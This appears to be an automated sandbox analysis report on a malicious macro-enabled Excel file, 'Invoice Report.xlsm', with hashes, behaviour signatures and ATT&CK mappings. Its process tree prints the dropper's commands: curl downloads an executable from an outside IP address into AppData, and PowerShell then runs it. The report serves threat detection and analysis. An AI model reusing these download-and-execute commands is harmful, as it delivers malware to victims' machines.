8ef3a66715c5224d804d23dbbd9013304a860c6ed346eedc27d73aee31e9b9ea

General

Target

Invoice Report.xlsm
Size

140KB
MD5

329c98470c9b2ac55b27ec305a51ed8b
SHA1

6ae68c825f75e57b0ba370f12d90a5e6b65fd6d1
SHA256

8ef3a66715c5224d804d23dbbd9013304a860c6ed346eedc27d73aee31e9b9ea
SHA512

17ecd183f96dd9689c75c3d8682a4ce346b666e50964820da9c4fda0fd8c1e7a96f6649edb02de554cee01ba29eb4a221a804f285895a0d7f57723e34827c0f0

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2664	808	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1084	808	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

808 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2664 powershell.exe
2664 powershell.exe
2664 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2664 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

808 EXCEL.EXE
808 EXCEL.EXE

pid	process
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2664	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE
808	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 808 wrote to memory of 2664	808	EXCEL.EXE	powershell.exe
PID 808 wrote to memory of 2664	808	EXCEL.EXE	powershell.exe
PID 808 wrote to memory of 1084	808	EXCEL.EXE	cmd.exe
PID 808 wrote to memory of 1084	808	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Invoice Report.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\GxSsC.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2664

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://195.123.246.25/images/moonmars.png -o %appdata%\GxSsC.exe
2⤵
- Process spawned unexpected child process
PID:1084

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/808-122-0x00007FF9FD880000-0x00007FF9FE96E000-memory.dmp

Filesize
16.9MB

Download
memory/808-115-0x00007FF9DCDF0000-0x00007FF9DCE00000-memory.dmp

Filesize
64KB

Download
memory/808-116-0x00007FF9DCDF0000-0x00007FF9DCE00000-memory.dmp

Filesize
64KB

Download
memory/808-117-0x00007FF9DCDF0000-0x00007FF9DCE00000-memory.dmp

Filesize
64KB

Download
memory/808-118-0x00007FF9DCDF0000-0x00007FF9DCE00000-memory.dmp

Filesize
64KB

Download
memory/808-119-0x00007FF9DCDF0000-0x00007FF9DCE00000-memory.dmp

Filesize
64KB

Download
memory/808-305-0x00007FF9DCDF0000-0x00007FF9DCE00000-memory.dmp

Filesize
64KB

Download
memory/808-123-0x00007FF9FB980000-0x00007FF9FD875000-memory.dmp

Filesize
31.0MB

Download
memory/808-114-0x00007FF76A4E0000-0x00007FF76DA96000-memory.dmp

Filesize
53.7MB

Download
memory/808-308-0x00007FF9DCDF0000-0x00007FF9DCE00000-memory.dmp

Filesize
64KB

Download
memory/808-307-0x00007FF9DCDF0000-0x00007FF9DCE00000-memory.dmp

Filesize
64KB

Download
memory/808-306-0x00007FF9DCDF0000-0x00007FF9DCE00000-memory.dmp

Filesize
64KB

Download
memory/1084-256-0x0000000000000000-mapping.dmp

Download
memory/2664-255-0x0000000000000000-mapping.dmp

Download
memory/2664-287-0x00000252D8B46000-0x00000252D8B48000-memory.dmp

Filesize
8KB

Download
memory/2664-266-0x00000252D8B43000-0x00000252D8B45000-memory.dmp

Filesize
8KB

Download
memory/2664-265-0x00000252D8B40000-0x00000252D8B42000-memory.dmp

Filesize
8KB

Download
memory/2664-264-0x00000252D8F40000-0x00000252D8F41000-memory.dmp

Filesize
4KB

Download
memory/2664-261-0x00000252C08B0000-0x00000252C08B1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads